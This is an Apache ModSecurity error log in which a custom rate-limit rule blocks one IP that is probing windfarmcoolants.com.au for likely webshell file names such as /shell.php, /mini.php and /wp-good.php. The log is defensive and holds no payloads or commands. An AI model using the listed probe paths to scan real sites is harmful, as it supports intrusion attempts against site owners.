[Fri Apr 17 05:38:28.729865 2026] [:error] [pid 51878:tid 51897] [client 4.232.179.255:7117] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tool.php"] [unique_id "aeFW1EnQhUtMbw9EsgZlegAAARE"]
[Fri Apr 17 05:38:29.245433 2026] [:error] [pid 51878:tid 51902] [client 4.232.179.255:7141] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blogs.php"] [unique_id "aeFW1UnQhUtMbw9EsgZlfAAAARY"]
[Fri Apr 17 05:38:29.723419 2026] [:error] [pid 51878:tid 51889] [client 4.232.179.255:7155] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blogs.php"] [unique_id "aeFW1UnQhUtMbw9EsgZlgQAAAQk"]
[Fri Apr 17 05:38:30.196872 2026] [:error] [pid 9263:tid 9278] [client 4.232.179.255:7105] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blogs.php"] [unique_id "aeFW1hP68VyHNvj1e5712AAAAM0"]
[Fri Apr 17 05:38:30.724744 2026] [:error] [pid 9152:tid 9206] [client 4.232.179.255:7114] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blogs.php"] [unique_id "aeFW1pJYca8I3TNCwIcMXQAAAFA"]
[Fri Apr 17 05:38:31.267539 2026] [:error] [pid 9153:tid 9235] [client 4.232.179.255:7164] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bgymj.php"] [unique_id "aeFW1-MHGxkTZX3c45f60QAAAJE"]
[Fri Apr 17 05:38:31.759092 2026] [:error] [pid 51878:tid 51894] [client 4.232.179.255:7074] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bgymj.php"] [unique_id "aeFW10nQhUtMbw9EsgZljwAAAQ4"]
[Fri Apr 17 05:38:32.309619 2026] [:error] [pid 9151:tid 9181] [client 4.232.179.255:6996] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bgymj.php"] [unique_id "aeFW2MhTVuRPkua22vSZvwAAABQ"]
[Fri Apr 17 05:38:32.909223 2026] [:error] [pid 9153:tid 9223] [client 4.232.179.255:7129] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bgymj.php"] [unique_id "aeFW2OMHGxkTZX3c45f61AAAAIU"]
[Fri Apr 17 05:38:33.444407 2026] [:error] [pid 9152:tid 9213] [client 4.232.179.255:7136] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mini.php"] [unique_id "aeFW2ZJYca8I3TNCwIcMYwAAAFc"]
[Fri Apr 17 05:38:33.957696 2026] [:error] [pid 51878:tid 51891] [client 4.232.179.255:7116] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mini.php"] [unique_id "aeFW2UnQhUtMbw9EsgZlngAAAQs"]
[Fri Apr 17 05:38:34.471652 2026] [:error] [pid 9153:tid 9236] [client 4.232.179.255:7133] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mini.php"] [unique_id "aeFW2uMHGxkTZX3c45f63QAAAJI"]
[Fri Apr 17 05:38:35.019149 2026] [:error] [pid 9151:tid 9163] [client 4.232.179.255:7130] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mini.php"] [unique_id "aeFW28hTVuRPkua22vSZwQAAAAI"]
[Fri Apr 17 05:38:35.698715 2026] [:error] [pid 9151:tid 9164] [client 4.232.179.255:7075] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amax.php"] [unique_id "aeFW28hTVuRPkua22vSZwwAAAAM"]
[Fri Apr 17 05:38:36.214670 2026] [:error] [pid 9151:tid 9183] [client 4.232.179.255:7099] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amax.php"] [unique_id "aeFW3MhTVuRPkua22vSZxQAAABY"]
[Fri Apr 17 05:38:36.704477 2026] [:error] [pid 9152:tid 9209] [client 4.232.179.255:7058] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amax.php"] [unique_id "aeFW3JJYca8I3TNCwIcMcgAAAFM"]
[Fri Apr 17 05:38:37.210050 2026] [:error] [pid 9151:tid 9161] [client 4.232.179.255:7122] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amax.php"] [unique_id "aeFW3chTVuRPkua22vSZywAAAAA"]
[Fri Apr 17 05:38:37.775095 2026] [:error] [pid 9152:tid 9192] [client 4.232.179.255:7108] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mh.php"] [unique_id "aeFW3ZJYca8I3TNCwIcMdgAAAEI"]
[Fri Apr 17 05:38:38.385950 2026] [:error] [pid 9152:tid 9195] [client 4.232.179.255:7165] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mh.php"] [unique_id "aeFW3pJYca8I3TNCwIcMegAAAEU"]
[Fri Apr 17 05:38:38.900522 2026] [:error] [pid 9153:tid 9238] [client 4.232.179.255:7138] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mh.php"] [unique_id "aeFW3uMHGxkTZX3c45f67gAAAJQ"]
[Fri Apr 17 05:38:39.410814 2026] [:error] [pid 9263:tid 9267] [client 4.232.179.255:7057] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mh.php"] [unique_id "aeFW3xP68VyHNvj1e5717AAAAMI"]
[Fri Apr 17 05:38:39.914639 2026] [:error] [pid 9152:tid 9211] [client 4.232.179.255:7152] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ms.php"] [unique_id "aeFW35JYca8I3TNCwIcMgAAAAFU"]
[Fri Apr 17 05:38:40.585823 2026] [:error] [pid 9153:tid 9229] [client 4.232.179.255:7159] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ms.php"] [unique_id "aeFW4OMHGxkTZX3c45f69QAAAIs"]
[Fri Apr 17 05:38:41.115268 2026] [:error] [pid 9263:tid 9266] [client 4.232.179.255:7101] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ms.php"] [unique_id "aeFW4RP68VyHNvj1e5718gAAAME"]
[Fri Apr 17 05:38:41.856004 2026] [:error] [pid 51878:tid 51893] [client 4.232.179.255:7063] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ms.php"] [unique_id "aeFW4UnQhUtMbw9EsgZlsQAAAQ0"]
[Fri Apr 17 05:38:42.365823 2026] [:error] [pid 9152:tid 9212] [client 4.232.179.255:7046] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/166.php"] [unique_id "aeFW4pJYca8I3TNCwIcMiQAAAFY"]
[Fri Apr 17 05:38:42.858344 2026] [:error] [pid 9153:tid 9232] [client 4.232.179.255:7156] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/166.php"] [unique_id "aeFW4uMHGxkTZX3c45f6-wAAAI4"]
[Fri Apr 17 05:38:43.360521 2026] [:error] [pid 9152:tid 9195] [client 4.232.179.255:7083] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/166.php"] [unique_id "aeFW45JYca8I3TNCwIcMiwAAAEU"]
[Fri Apr 17 05:38:43.865193 2026] [:error] [pid 51878:tid 51883] [client 4.232.179.255:7140] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/166.php"] [unique_id "aeFW40nQhUtMbw9EsgZlvgAAAQM"]
[Fri Apr 17 05:38:44.337737 2026] [:error] [pid 51878:tid 51888] [client 4.232.179.255:7040] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bmi.php"] [unique_id "aeFW5EnQhUtMbw9EsgZlxQAAAQg"]
[Fri Apr 17 05:38:44.809954 2026] [:error] [pid 51878:tid 51887] [client 4.232.179.255:7047] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bmi.php"] [unique_id "aeFW5EnQhUtMbw9EsgZlzQAAAQc"]
[Fri Apr 17 05:38:45.411656 2026] [:error] [pid 9263:tid 9267] [client 4.232.179.255:7079] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bmi.php"] [unique_id "aeFW5RP68VyHNvj1e571_QAAAMI"]
[Fri Apr 17 05:38:46.005566 2026] [:error] [pid 9263:tid 9284] [client 4.232.179.255:7052] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bmi.php"] [unique_id "aeFW5hP68VyHNvj1e572AQAAANM"]
[Fri Apr 17 05:38:46.481979 2026] [:error] [pid 9263:tid 9286] [client 4.232.179.255:7060] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-good.php"] [unique_id "aeFW5hP68VyHNvj1e572BQAAANU"]
[Fri Apr 17 05:38:46.961054 2026] [:error] [pid 9263:tid 9275] [client 4.232.179.255:7107] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-good.php"] [unique_id "aeFW5hP68VyHNvj1e572BgAAAMo"]
[Fri Apr 17 05:38:47.427879 2026] [:error] [pid 51878:tid 51887] [client 4.232.179.255:6995] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-good.php"] [unique_id "aeFW50nQhUtMbw9EsgZl3gAAAQc"]
[Fri Apr 17 05:38:47.895140 2026] [:error] [pid 9153:tid 9221] [client 4.232.179.255:7035] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-good.php"] [unique_id "aeFW5-MHGxkTZX3c45f7BwAAAIM"]
[Fri Apr 17 05:38:48.431817 2026] [:error] [pid 9153:tid 9231] [client 4.232.179.255:7149] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shell.php"] [unique_id "aeFW6OMHGxkTZX3c45f7CQAAAI0"]
[Fri Apr 17 05:38:49.019270 2026] [:error] [pid 51878:tid 51895] [client 4.232.179.255:7041] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shell.php"] [unique_id "aeFW6UnQhUtMbw9EsgZl5wAAAQ8"]
[Fri Apr 17 05:38:49.508895 2026] [:error] [pid 51878:tid 51887] [client 4.232.179.255:7098] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shell.php"] [unique_id "aeFW6UnQhUtMbw9EsgZl7AAAAQc"]
[Fri Apr 17 05:38:50.006674 2026] [:error] [pid 9263:tid 9279] [client 4.232.179.255:7110] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shell.php"] [unique_id "aeFW6hP68VyHNvj1e572DwAAAM4"]
[Fri Apr 17 05:38:50.588454 2026] [:error] [pid 9263:tid 9271] [client 4.232.179.255:7053] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dass.php"] [unique_id "aeFW6hP68VyHNvj1e572EAAAAMY"]
[Fri Apr 17 05:38:51.080628 2026] [:error] [pid 51878:tid 51902] [client 4.232.179.255:7005] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dass.php"] [unique_id "aeFW60nQhUtMbw9EsgZl9wAAARY"]
[Fri Apr 17 05:38:51.620999 2026] [:error] [pid 9153:tid 9221] [client 4.232.179.255:7088] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dass.php"] [unique_id "aeFW6-MHGxkTZX3c45f7FAAAAIM"]
[Fri Apr 17 05:38:52.108253 2026] [:error] [pid 9153:tid 9223] [client 4.232.179.255:7119] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dass.php"] [unique_id "aeFW7OMHGxkTZX3c45f7FwAAAIU"]
[Fri Apr 17 05:38:52.609711 2026] [:error] [pid 51878:tid 51897] [client 4.232.179.255:7161] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aboute.php"] [unique_id "aeFW7EnQhUtMbw9EsgZl_wAAARE"]
[Fri Apr 17 05:38:53.151516 2026] [:error] [pid 9263:tid 9265] [client 4.232.179.255:7167] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aboute.php"] [unique_id "aeFW7RP68VyHNvj1e572GgAAAMA"]
[Fri Apr 17 05:38:53.792415 2026] [:error] [pid 51878:tid 51880] [client 4.232.179.255:7001] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aboute.php"] [unique_id "aeFW7UnQhUtMbw9EsgZmBAAAAQA"]
[Fri Apr 17 05:38:54.289310 2026] [:error] [pid 9263:tid 9285] [client 4.232.179.255:7115] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aboute.php"] [unique_id "aeFW7hP68VyHNvj1e572IwAAANQ"]
[Fri Apr 17 05:38:54.769105 2026] [:error] [pid 9153:tid 9228] [client 4.232.179.255:7070] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "aeFW7uMHGxkTZX3c45f7IAAAAIo"]
[Fri Apr 17 05:38:55.310758 2026] [:error] [pid 9263:tid 9278] [client 4.232.179.255:7061] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "aeFW7xP68VyHNvj1e572JgAAAM0"]
[Fri Apr 17 05:38:55.832567 2026] [:error] [pid 9151:tid 9176] [client 4.232.179.255:7030] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "aeFW78hTVuRPkua22vSZ6AAAAA8"]
[Fri Apr 17 05:38:56.314427 2026] [:error] [pid 9153:tid 9232] [client 4.232.179.255:6998] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "aeFW8OMHGxkTZX3c45f7JQAAAI4"]
[Fri Apr 17 05:38:56.872558 2026] [:error] [pid 9263:tid 9275] [client 4.232.179.255:7076] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-png.php"] [unique_id "aeFW8BP68VyHNvj1e572LgAAAMo"]
[Fri Apr 17 05:38:57.338017 2026] [:error] [pid 9153:tid 9237] [client 4.232.179.255:7065] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-png.php"] [unique_id "aeFW8eMHGxkTZX3c45f7LQAAAJM"]
[Fri Apr 17 05:38:57.876597 2026] [:error] [pid 9153:tid 9224] [client 4.232.179.255:7086] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-png.php"] [unique_id "aeFW8eMHGxkTZX3c45f7NAAAAIY"]
